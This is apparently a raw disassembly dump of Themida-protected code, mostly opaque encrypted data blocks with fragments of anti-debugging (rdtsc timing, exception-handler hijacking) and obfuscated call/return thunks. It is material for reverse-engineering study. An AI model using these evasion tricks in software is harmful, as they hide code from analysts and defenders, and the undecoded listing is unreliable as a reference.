		dd 12EA722Ch, 83F98BADh, 0D11D39BDh, 850F0307h,	41Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BCC35747h, 0C3BA8B0Dh
		dd 0D88B66B3h, 0EA5ABD83h, 0F0007D4h, 3EB84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B4812h, 7D11CDDh, 0EA5AB5FFh, 0BD8B07D4h, 7D10065h
		dd 2EB195FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0DB811BC3h, 17BA5F75h, 4EB58BF8h
		dd 6A07D4EAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3CABC351h, 0C778596Ch,	1000106h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 404BEBB2h, 3DC7810Fh, 96406D46h,	810Fh
		dd 96500000h, 1FAD9529h, 0B5FF07D1h, 7D4EA5Ah, 1C6DBD03h
		dd 95FF07D1h, 7D131A5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D4C35343h, 0B1F676E3h, 0CD22884Ch, 0DD8D09EBh
		dd 8B07D128h, 0D4EA4EB5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9531D721h
		dd 7D12EDDh, 2B31858Bh,	10E907D1h, 66000000h, 5D31E8E4h
		dd 54AEE76Dh, 0ABEEEFB8h, 89AE781Eh, 0C486h, 0BD895600h
		dd 7D101C1h, 51958B5Fh,	8907D11Bh, 0D119F98Dh, 4C28307h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h
		dd 9C9F2F35h, 322D9529h, 508907D1h, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0A12009E5h
		dd 32D59D8Bh, 858D07D1h, 7D4FEE5h, 34658D29h, 868907D1h
		dd 0B8h, 2EF1BD8Bh, 6A07D1h, 0B5FFDE8Bh, 7D4EA5Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E9C35646h, 8E9BD8Bh
		dd 95FF07D1h, 7D11DE9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 38C35242h, 73AC3D85h,	5DBA25A2h, 1E9ABB66h
		dd 0FB8B6653h, 0DB7965Bh, 0E8569650h, 13h, 0CA3D8313h
		dd 38156E4Fh, 71E4B594h, 0E95F1169h, 0B35192D1h, 0FF5F5F76h
		dd 0D4EA5AB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0FFA49202h, 0D12D9D95h
		dd 13E96007h, 38000000h, 0D7179C77h, 0C9AE829Eh, 9B5CB4ADh
		dd 0D48170C2h, 0BD31AD47h, 7D11C49h, 9BD8361h, 7D128h
		dd 3C840Fh, 0FB8B0000h,	19C5BD8Bh, 0B39607D1h, 525050E3h
		dd 4A395FBBh, 8B310F10h, 96585AF8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D3C35646h,	18FD9D8Bh, 0B5FF07D1h
		dd 7D4EA5Ah, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0CEC35242h, 0FFF2E5D8h
		dd 0D132B595h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B5890D6Dh, 7D1250Dh
		dd 0EA5AB5FFh, 6A07D4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 9B6C16C3h, 95FF4832h, 7D12709h
		dd 71958B60h, 6107D128h, 0FC1BD83h, 0F0207D1h, 7C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3075A310h, 0BD89E673h, 7D1105Dh, 886E78BFh, 25858B2Fh
		dd 6A07D11Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D9A1C353h, 2F099529h,	0C607D1h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 68FE37Bh, 0CEBB660Dh, 0CD85C756h, 7D122h
		dd 53000000h, 5FFE8B66h, 0FFF34EE9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 7FC4CFE2h
		dd 0CE917h, 75D60000h, 0C59AAE95h, 43C04D20h, 0C18B6F00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C1C35646h
		dd 0FE9h, 1BC1C900h, 14622C3h, 0CED08C80h, 0EA1419FBh
		dd 1361858Dh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 7475FFC3h, 3860F4Ch, 0F000000h
		dd 6650FBB7h, 489DE8Bh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F0F9966Bh, 52AE580h
		dd 85896CE6h, 7D11881h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 26287DC3h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3F7845C3h, 3057F702h, 0BF0F4025h, 0D8858DDAh, 6A07D61Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2CE2C353h, 0BE4AA8DFh, 0F98D8B60h, 8B07D11Eh
		dd 0D118D59Dh, 0C0836107h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 724BED4Eh
		dd 91BD8Bh, 0CE907D1h, 58000000h, 9C601D85h, 58AE83AEh
		dd 50BBD292h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0D54EC353h,	6A8652h
		dd 80FFB70Fh, 6ABAE3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 35C35646h, 0DA8B07A2h, 1DE195FFh, 6A07D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8D96C7C3h, 0D4D5668Dh, 0FFFA8B07h, 999589D1h, 8307D128h
		dd 0D11715BDh, 850F0107h, 8Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 13C35747h, 0BD7A226Fh, 0BD8B620Dh
		dd 7D12D85h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 78FB3FC3h, 0FC3652E5h, 0F525090h
		dd 5AFE8B31h, 0E9605058h, 0Ah, 0FB96EDDBh, 82CDE301h, 9061B4BBh
		dd 2AB9BD8Bh, 95FF07D1h, 7D11DE9h, 0C06909BBh, 6E86065h
		dd 0ED000000h, 71B5EB44h, 5B0CB7E8h, 0C28B6650h, 0F7E96159h
		dd 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D61BE2h
		pusha
		jmp	loc_5D8233
; ---------------------------------------------------------------------------
		adc	al, 2
		scasb
		dec	ecx
		fmul	st, st


loc_5D8233:				; CODE XREF: Themida_:005D8228j
		mov	ecx, [ebp+7D11ECDh]
		popa
		xor	[ebp+7D107C9h],	esi
		lea	eax, [ebp+7D4BC77h]
		call	sub_5D8258
		jge	short near ptr loc_5D8263+4
		retn
; ---------------------------------------------------------------------------
		dw 9F53h
		db 90h
		db 10h,	8, 77h
		dd 0C3D20A6Ch

; =============== S U B	R O U T	I N E =======================================



sub_5D8258	proc near		; CODE XREF: Themida_:005D8246p
		push	edi
		mov	bl, 80h
		pop	edi
		pop	edi
		nop
		call	sub_5D8272


loc_5D8263:				; CODE XREF: Themida_:005D824Bj
		and	dh, [edi-35915F2h]
		adc	ebp, ecx
		dec	ebp
		outsd
		cmp	al, 0F0h
		insd
		pop	esp
		inc	edx
sub_5D8258	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D8272	proc near		; CODE XREF: sub_5D8258+6p
		jmp	sub_5D828A
sub_5D8272	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0E1B352D0h, 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h
		db 6Ch,	0EEh

; =============== S U B	R O U T	I N E =======================================



sub_5D828A	proc near		; CODE XREF: sub_5D8272j
		pop	ebx
		push	eax
		push	esi
		call	sub_5D8298
		mov	ebx, 3C8876EDh
		pop	ebx
sub_5D828A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D8298	proc near		; CODE XREF: sub_5D828A+3p
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	ebx
		pop	edi
		nop
		mov	edi, [ebp+7D10C65h]
		push	large dword ptr	fs:0
		and	ebx, 54FC7204h
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5D82C6
		and	[ebx-3Dh], bl
sub_5D8298	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D82C6	proc near		; CODE XREF: sub_5D8298+26p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D82C6	endp

; ---------------------------------------------------------------------------
		xor	[eax-60h], esp
		pusha
		cmp	[eax+3395B589h], eax
		rol	dword ptr [edi], 1
		jmp	loc_5D82EC
; ---------------------------------------------------------------------------
		db 49h
		dd 0F4917A8Eh
; ---------------------------------------------------------------------------


loc_5D82EC:				; CODE XREF: Themida_:005D82E2j
		inc	dword ptr [ebp+7D12921h]
		push	0
		push	ecx
		call	sub_5D82FD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D82FD	proc near		; CODE XREF: Themida_:005D82F5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D82FD	endp

; ---------------------------------------------------------------------------
		mov	esi, 1799BD8Bh
		rol	dword ptr [edi], 1
		push	0FFFFFFFFh
		jmp	loc_5D8325
; ---------------------------------------------------------------------------
		db 94h
		dd 0FC61D750h, 67F2DB4h
		db 7Dh
; ---------------------------------------------------------------------------


loc_5D8325:				; CODE XREF: Themida_:005D8316j
		sub	bh, 0CAh
		push	dword ptr [ebp+7D11C75h]
		jmp	loc_5D8338
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 360B78F1h
; ---------------------------------------------------------------------------


loc_5D8338:				; CODE XREF: Themida_:005D832Ej
		call	dword ptr [ebp+7D1141Dh]
		jmp	loc_5D844D
; ---------------------------------------------------------------------------
		db 89h
		dd 0D128EDB5h, 6600B007h, 0E69A62BBh, 15BD8970h, 0E407D123h
		dd 0E7BF6671h, 0F613C7Dh, 0E883h, 0A19D8B00h, 0F07D12Bh
		dd 9D89C8B6h, 7D11DF1h,	6BAh, 0D98B6600h, 0CE8C18Bh, 0A4000000h
		dd 0B56504A0h, 0FBF09A4Bh, 601F72EBh, 0AE8D58Ah, 47000000h
		dd 8EFF8EB4h, 71026990h, 5F61595Fh, 0E904E8C1h,	0Dh, 5303682Fh
		dd 0B3F489DFh, 7123FAC3h, 0E2F766EEh, 2B2BDB80h, 0FA8B66C8h
		dd 8960D18Bh, 0D12C89BDh, 7AE96107h, 8B000000h,	0D122B5BDh
		dd 0BD9D2307h, 8B07D10Ch, 485h,	0A58D8900h, 8307D133h
		dd 0BD8B07C0h, 7D12F09h, 0F00C083h, 0D03BD9BFh,	6830Fh
		dd 0E9FC0000h, 45h, 0FFFF8D8Bh,	8B60FFFFh, 0D119F985h
		dd 519D8907h, 6107D124h, 0F01E183h, 2884h, 499D8B00h, 8307D11Fh
		dd 0FFFFFFA5h, 9D8BFEFFh, 7D10C51h, 9589FA8Bh, 4, 0F0037FBBh
		dd 0F9B70F52h, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D844D:				; CODE XREF: Themida_:005D833Ej
		lea	esi, [ebp+7D59C39h]
		mov	edi, [ebp+7D10C75h]
		push	0
		mov	[ebp+7D11EADh],	ebx
		call	dword ptr [ebp+7D10055h]
		cmc
		jb	loc_5D8472
		mov	di, 2C28h


loc_5D8472:				; CODE XREF: Themida_:005D8468j
		mov	ecx, 0E42h
		push	0
		push	ebx
		call	sub_5D8482
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8482	proc near		; CODE XREF: Themida_:005D847Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D8482	endp

; ---------------------------------------------------------------------------
		inc	edi
		and	ecx, 0FFFFFFFCh
		xor	[ebp+7D12115h],	esi
		cld
		push	ecx
		push	ebx
		mov	bl, al
		pop	edi
		pop	edi
		sub	eax, eax
		mov	[ebp+7D1198Dh],	eax
		mov	edx, 0
		push	0
		push	ecx
		call	sub_5D84BB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D84BB	proc near		; CODE XREF: Themida_:005D84B3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D84BB	endp

; ---------------------------------------------------------------------------
		aas


loc_5D84CC:				; CODE XREF: Themida_:005D84D6j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D84CC
		push	0
		push	edx
		call	sub_5D84E3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D84E3	proc near		; CODE XREF: Themida_:005D84DBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5D84E3	endp

; ---------------------------------------------------------------------------
		db 64h
		dd 1BBF6927h, 0FFACCD1h, 186h, 9D0BF900h, 7D12B45h, 58A0Fh
		dd 81660000h, 0F2F3EC3h, 880DD9B7h, 0F000000h, 58Eh, 8F7FBF00h
		dd 958B12D4h, 7D11B51h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0BAC35040h, 8915F8D9h, 0D1347DB5h, 9024BB07h
		dd 8D8B10FAh, 7D12D55h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BE95818h, 92000000h, 16753170h, 8EBE17CDh
		dd 0FE9D561h, 4000000h,	9570F6A7h, 0C864287Bh, 9C6EA445h
		dd 5E96F3Ch, 0EB000000h, 0D8B31B91h, 1BC5BD83h,	0F0007D1h
		dd 9484h, 0F559BF00h, 0B84E2Eh,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8104C353h
		dd 5BFC11EFh, 0A8D8D4Ah, 6A07D14Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8B38C351h
		dd 0D43EAA47h, 0B9BD335Ah, 0E807D132h, 14h, 0EA82423Bh
		dd 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 106DBD8Bh
		dd 0FF5B07D1h, 13E9E1h,	0E12D0000h, 0A398D404h,	0BCE695FDh
		dd 0D50B2DC8h, 7889BB8Dh, 39BD83F3h, 7D11Dh, 450840Fh
		dd 0BD830000h, 7D11D39h, 5E840F01h, 0E9000004h,	5, 0A043A039h
		dd 0A1BD0B6Dh, 8307D12Dh, 0D11D39BDh, 860F0307h, 40Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7EC35747h
		dd 8F34435h, 0F24A240h,	58Fh, 0BF0F5200h, 9D8B5BDBh, 7D113EDh
		dd 2960DA8Bh, 0D11E719Dh, 0D98C6607h, 84D9D8Bh,	0F98B07D1h
		dd 3104E180h, 0D1312995h, 0FC90A07h, 15584h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0B95DA55Dh, 2E624A14h, 858B5A3Ah, 7D128F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6FC35747h, 66DFCAADh
		dd 8B0Fh, 0BD8B0000h, 7D11D51h,	31CD8533h, 51F907D1h, 2BD98589h
		dd 905B07D1h, 0A0BF6651h, 8B505F82h, 6A90D8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F8F42C3h
		dd 0BFCF83C5h, 5830Fh, 81660000h, 6AB9B7EBh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9AEA8A67h, 68B6B379h, 255BCEEDh, 9E9h, 9ACFB800h, 0B80286ACh
		dd 3481469Dh, 44CD1224h, 0D99D8B25h, 0FF07D110h, 0D12B1595h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0DAE57026h, 0B0DB8161h, 8975F2F6h, 0D4EA5A85h
		dd 0F3816607h, 8166109Dh, 0E93431EBh, 23Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EC35545h, 392F7F4Ch
		dd 81288F25h, 0D483CDE7h, 0DBBA603Ah, 8B01D0D7h, 858B61F2h
		dd 7D4EA52h, 2A51BD89h,	0B52907D1h, 7D10575h, 1800C7h
		dd 0BD8B0000h, 7D11525h, 0EA56B58Bh, 858B07D4h,	7D10C9Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2FC35242h
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 1D503AC3h, 858B215Dh, 7D128F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 6DC35141h, 3656A724h
		dd 8A0F0C9Bh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7D105F5h],	edi
		mov	[esi+4], eax
		push	0
		push	edi
		call	sub_5D88CC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D88CC	proc near		; CODE XREF: Themida_:005D88C4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D88CC	endp

; ---------------------------------------------------------------------------
		dd 0DE848E1h, 45000000h, 23E42FF4h, 0B957863Bh,	326C5F6Eh
		dd 34919D8Bh, 815B07D1h, 0E8DD5FDFh, 5250503Ch,	5250310Fh
		dd 880Fh, 310F0000h, 0FE50BF66h, 585A585Ah, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 99D4C357h, 2BB05BE9h, 0B5FFD88Bh,	7D4EA52h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h
		dd 43E54B0Eh, 0A180CC57h, 0EBDF8166h, 28786852h, 0DE8DB95h
		dd 0C000000h, 7BF4B10Eh, 0A47A9329h, 0BB7D0B75h, 815FFA8Bh
		dd 0DB872404h, 9D8B2489h, 7D113F1h, 0EA5A858Dh,	6A07D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0A2B80C3h, 267DACA7h, 19C58509h, 505007D1h, 5F526052h
		dd 0F61DE8Bh, 5AFA8A31h, 24048958h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0C67210h, 60A89688h
		dd 32B18D2Bh, 0CFB507D1h, 1595FF61h, 6A07D12Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0DF31C357h, 3969E907h, 0DBD8B0Fh, 6107D120h,	0D8B0Fh
		dd 89600000h, 0D12BA1B5h, 0F1816607h, 0C7615FBEh, 0D11D3985h
		dd 307h, 0CCBB6600h, 5ABD8344h,	7D4EAh,	25840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 5CC845C3h, 1BE9F56Fh, 50000000h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 28E237C3h
		dd 0F38AD85h, 1087h, 0A830F00h,	0E9000000h, 5, 85232E9Dh
		dd 39BD83F6h, 307D11Dh,	3A0850Fh, 0DDB70000h, 0EA5ABD83h
		dd 0F0007D4h, 39184h, 0DE900h, 0DB500000h, 0A8461B3Eh
		dd 0A698615Bh, 0FFC4BBF2h, 0D4EA5AB5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 9453EA9Dh, 0B5DF6F66h, 0FEBF0F3Dh, 2EB195FFh, 6A07D1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 606515C3h, 11E9h, 26FA9C00h,	3F5E839Eh, 0E9A13368h
		dd 8AB8C973h, 958B50C5h, 7D105C1h, 0AFDB8161h, 8B4B9A74h
		dd 0D4EA4EB5h, 0CDBD8B07h, 0C707D105h, 1000106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BDFB23Ah, 0D1211DBDh, 0DBB70F07h, 24348950h, 2098D01h
		dd 0B5FF07D1h, 7D4EA5Ah, 0C458529h, 95FF07D1h, 7D131A5h
		dd 4EB58BFCh, 3107D4EAh, 0D1201DB5h, 31858B07h,	6A07D12Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6C70C353h, 0CBDAC72Dh, 9D093106h,	7D128A9h
		dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 71FDA7C3h, 57CF8BA0h, 51958BB8h
		dd 0E907D11Bh, 0Bh, 70937F60h, 0F7784DE8h, 83CFA2ADh, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3E0E1C3h, 2E27530Bh,	13E865h, 9FAA0000h, 59E41DA1h
		dd 5502A500h, 94C60EDh,	156A1499h, 0BD01509Ch, 7D108FDh
		dd 0EBB5F5Bh, 89682C3Eh, 6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0CB8596C3h, 195891Bh
		dd 8D07D12Dh, 0D4FEE585h, 8ABF6007h, 97A3860h, 0D1172985h
		dd 86896107h, 0B8h, 1D69B529h, 0BD8B07D1h, 7D1259Dh, 8166006Ah
		dd 0F362CE3h, 48Eh, 0DFBF6600h,	5AB5FF65h, 0E807D4EAh
		dd 9, 38AEA3B3h, 67F3B147h, 11BB6697h, 95FF5F5Bh, 7D11DE9h
		dd 15259589h, 0B75007D1h, 24348940h, 0FFFEBF0Fh, 0D4EA5AB5h
		dd 9ABB6607h, 9D95FF76h, 6A07D12Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 8371C350h
		dd 0F16A3DBh, 68Bh, 31BD2300h, 8307D102h, 0D12809BDh, 840F0007h
		dd 2Ah,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
		dd 3AC35545h, 7A1EDDD1h, 49B35081h, 80243489h, 0B5FFE1E3h
		dd 7D4EA5Ah, 0B595FFF5h, 6A07D132h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B181C352h
		dd 6B4E41E5h, 0CE99B91h, 44000000h, 0F0E5A6E5h,	1181F75Ch
		dd 0FF3F7DA7h, 0D4EA5AB5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0AC008A85h
		dd 7BBEFAC4h, 0BF0FB4FBh, 995FFFAh, 8907D127h, 0D11AED8Dh
		dd 0C1BD8307h, 207D10Fh, 3E840Fh, 0B5890000h, 7D10775h
		dd 1E25858Bh, 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 2861CBC3h, 0C61Ah, 0BE9h, 39F45F00h
		dd 7B08446Ch, 5F3270DDh, 22CD85C7h, 7D1h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CBA55BC3h, 59E9B67Bh, 6AFFFFF4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8865C355h
		dd 430456C5h, 85895360h, 7D1187Dh, 1850159h, 6107D125h
		dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 22A780C3h, 1F499531h, 858D07D1h, 7D11361h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h
		dd 627FBDCh, 66500955h,	489D88Bh, 5D858924h, 6A07D129h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 412E8BB1h, 0B52923C1h, 7D113EDh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0E1BF49C3h, 8B189DB3h, 0BC858DFAh, 6A07D62Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 16CBC353h, 5C083CBh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 78C35343h, 89F8BF0Fh,	0D12B1995h, 11E95007h
		dd 0C9000000h, 36B25B43h, 64432DFh, 9952C624h, 2E95F5CFh
		dd 56240489h, 0C9CF8166h, 6A5B65h, 23A5BD8Bh, 6A07D1h
		dd 2A799D03h, 95FF07D1h, 7D11DE1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6FC35747h, 8DFAD41Eh, 0D4D5668Dh
		dd 7E807h, 0DD030000h, 1F9A08h,	61BD8B2Bh, 5B07D118h, 8B66D1FFh
		dd 15BD83FEh, 107D117h,	98850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D38164C3h
		dd 6B494BCCh, 9D8B026Ah, 7D130C9h, 0BDF8166h, 890F9030h
		dd 16h,	11E9h, 2E2C4300h, 5CA1FC9Ch, 3AE77976h,	4755BC29h
		dd 8B50E204h, 0E95290F9h, 0Bh, 9BB23EE0h, 0D4142C8h, 5FC2D53Eh
		dd 1DE995FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0D179E8C3h, 0BB669782h, 880F6B19h
		dd 6, 11319589h, 29E907D1h, 0E800000Eh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D62AC6h
		jmp	loc_5D9115
; ---------------------------------------------------------------------------
		dd 6C3AD078h
; ---------------------------------------------------------------------------
		aas


loc_5D9115:				; CODE XREF: Themida_:005D910Bj
		lea	eax, [ebp+7D4BC77h]
		mov	[ebp+7D10019h],	edi
		nop
		push	eax
		push	eax
		push	edx
		jmp	loc_5D9139
; ---------------------------------------------------------------------------
		dw 0F00Ch
		dd 0C306BD1Dh, 0D1F5F31Fh, 287F6F06h
; ---------------------------------------------------------------------------
		cwde


loc_5D9139:				; CODE XREF: Themida_:005D9125j
		rdtsc
		pop	edx
		pop	eax
		nop
		mov	ebx, [ebp+7D1298Dh]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	edi, [ebp+7D11725h]
		inc	dword ptr [ebp+7D12921h]
		xor	[ebp+7D122B5h],	ebx
		mov	[ebp+7D12E7Dh],	edx
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5D9177
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9177	proc near		; CODE XREF: Themida_:005D916Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D9177	endp

; ---------------------------------------------------------------------------
		pop	es
		cmp	byte ptr [ebp-5E278BBh], 0FDh
		cmpsb
		adc	di, 0C166h
		or	[ebp+7D129D1h],	esi
		push	dword ptr [ebp+7D105A9h]
		jb	loc_5D91AD
		mov	edi, [ebp+7D12ED1h]


loc_5D91AD:				; CODE XREF: Themida_:005D91A1j
		call	dword ptr [ebp+7D1141Dh]
		jmp	loc_5D92EA
; ---------------------------------------------------------------------------
		dd 9589D5B7h, 7D10785h,	70E600B0h, 2C1D9529h, 71E407D1h
		dd 8BDE8B66h, 0D13099BDh, 0F613C07h, 10D83h, 0D8D0100h
		dd 0F07D11Dh, 12E9C8B6h, 3B000000h, 705097F8h, 59E5396Fh
		dd 49FC8427h, 0F8D0C6C2h, 6BA52h, 880F0000h, 2,	0C18B95B7h
